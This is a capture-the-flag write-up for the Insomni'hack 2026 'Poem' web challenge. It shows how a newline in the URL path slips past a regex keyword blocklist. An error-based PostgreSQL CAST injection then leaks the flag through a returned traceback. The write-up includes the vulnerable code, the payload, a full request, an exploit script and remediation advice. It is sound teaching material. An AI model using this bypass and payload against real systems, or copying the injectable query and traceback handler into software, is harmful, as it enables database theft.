Insomni'hack 2026 — Poem
SQLi via WAF Bypass par injection de newline.
Poem CTF — SQLi via WAF Bypass (Newline Injection)
Challenge: Poem · Event: Insomni'hack · Category: Web · Difficulty: Medium
Flag:INS{r3g3x-ftw-0r-ftl-6df05b64-8add-4738-8237-aa4f96760723}
TL;DR
The /poem/<poem_id> route interpolates user input directly into a SQL query. A regex-based WAF blocks common SQL keywords, but it uses re.fullmatch without re.DOTALL, meaning . doesn't match \n. Injecting %0A (newline) into the path bypasses the WAF entirely. From there, an error-based CAST injection leaks the protected flag from the database traceback.
1. Reconnaissance
The application exposes a simple endpoint:
GET /poem/<poem_id>
Requesting /poem/1 through /poem/6 returns poems normally. However, /poem/7 returns a 403 Forbidden — a clear hint that something interesting lives there.
2. Source Code Analysis
2.1 SQL Query Construction
The route handler builds the query via string interpolation — a textbook SQL injection sink:
query = f"SELECT * FROM poem WHERE poem.id='{poem_id}'"
2.2 The WAF (Blacklist Filter)
Before executing the query, a regex-based Web Application Firewall checks the input:
re.fullmatch(r".*(SELECT|INSERT|UPDATE|DELETE|DROP|--|;|').*", poem_id, re.IGNORECASE)
If the pattern matches, the request is rejected with a 400 Bad Request.
2.3 The Secondary Check
After the query, a Python-side check also guards poem 7:
int(poem_id) == 7 # → returns 403
2.4 Error Handling
The app catches non-HTTP exceptions and returns the full Python traceback to the client — including any PostgreSQL error messages:
except Exception:
return traceback.format_exc(), 500
This is the key to exfiltrating data via error-based injection.
3. Identifying the Vulnerability
The WAF regex uses re.fullmatch with no re.DOTALL flag. In Python's re module, the . metacharacter matches any character except \n by default. This means a payload that includes a literal newline (\n / %0A) can smuggle blocked keywords past the filter.
Quick local proof:
import re
payload = "1\n' OR 1=1 --"
pattern = r".*(SELECT|INSERT|UPDATE|DELETE|DROP|--|;|').*"
result = re.fullmatch(pattern, payload, re.IGNORECASE)
print(result) # → None (bypass successful)
The . can't cross the newline boundary, so the regex never "sees" the ' or -- on the second line.
4. Crafting the Exploit
4.1 Why Simple OR 1=1 Fails
A basic tautology injection like:
/poem/1%0A%27%20OR%201=1%20--
does bypass the WAF, but the application then calls int(poem_id) on the raw path parameter. Since "1\n' OR 1=1 --" isn't a valid integer, we get a ValueError — not the data we want.
The trick: we need the database to error out before Python's int() runs, and we need that database error to contain the flag.
4.2 Error-Based Extraction via CAST
PostgreSQL's CAST(... AS integer) will throw a DataError if the value isn't numeric — and the error message includes the value it tried to cast. If we cast the flag (a string) to an integer, PostgreSQL will helpfully include the flag text in its error message, which the app's traceback handler dutifully returns to us.
4.3 Final Payload
%0A' AND 1=CAST((SELECT content FROM poem WHERE id=7) AS integer) --
Broken down with newlines for readability:
-- poem_id becomes:
\n' AND 1=CAST((
SELECT content FROM poem WHERE id=7
) AS integer) --
The resulting SQL executed by the server:
SELECT * FROM poem WHERE poem.id='
' AND 1=CAST((SELECT content FROM poem WHERE id=7) AS integer) --'
Step by step:
poem.id='\n'→ evaluates to false (no match), butANDstill forces evaluation of the right side.CAST((SELECT content FROM poem WHERE id=7) AS integer)→ PostgreSQL fetches the flag, tries to cast it tointeger, and fails because the flag is a string.- The resulting
DataErrorcontains the flag value in its message. - The app's catch-all error handler returns the full traceback (with the flag) as a 500 response.
--comments out the trailing quote.
5. Exploitation
Request
GET /poem/1%0A%27%20AND%201=CAST((SELECT%20content%20FROM%20poem%20WHERE%20id=7)%20AS%20integer)%20-- HTTP/1.1
Host: poem.insomnihack.ch:5000
Full URL
https://poem.insomnihack.ch:5000/poem/1%0A%27%20AND%201=CAST((SELECT%20content%20FROM%20poem%20WHERE%20id=7)%20AS%20integer)%20--
Response (500 — truncated)
The traceback includes the PostgreSQL error:
psycopg2.errors.InvalidTextRepresentation: invalid input syntax for type integer:
"INS{r3g3x-ftw-0r-ftl-6df05b64-8add-4738-8237-aa4f96760723}"
6. Flag
INS{r3g3x-ftw-0r-ftl-6df05b64-8add-4738-8237-aa4f96760723}
7. Exploit Script
#!/usr/bin/env python3
import requests
import urllib.parse
BASE_URL = "https://poem.insomnihack.ch:5000"
payload = "\n' AND 1=CAST((\nSELECT content FROM poem WHERE id=7\n) AS integer) --"
encoded = urllib.parse.quote(payload, safe="= ")
url = f"{BASE_URL}/poem/{encoded}"
print(f"[*] URL: {url}")
resp = requests.get(url, verify=False)
print(f"[*] Status: {resp.status_code}")
print(f"[*] Response:\n{resp.text[:2000]}")
8. Remediation
Three independent fixes would each prevent this attack:
| Issue | Fix |
|---|---|
| SQL injection | Use parameterized queries (%s placeholders with psycopg2) instead of f-strings. |
| WAF bypass | Add re.DOTALL to the regex so . matches newlines — or better yet, drop the regex WAF entirely in favor of parameterized queries. |
| Traceback leak | Never return traceback.format_exc() to the client. Use a generic error page in production. |
9. Key Takeaways
- Regex WAFs are fragile. A single missing flag (
re.DOTALL) turns a blacklist into a suggestion. Always prefer allowlists or parameterized queries. - Error-based SQLi is powerful. When an app returns raw database errors, attackers can extract arbitrary data without needing
UNION SELECTor blind techniques. - Defense in depth matters. If any one of the three issues above had been fixed, the attack chain would have broken.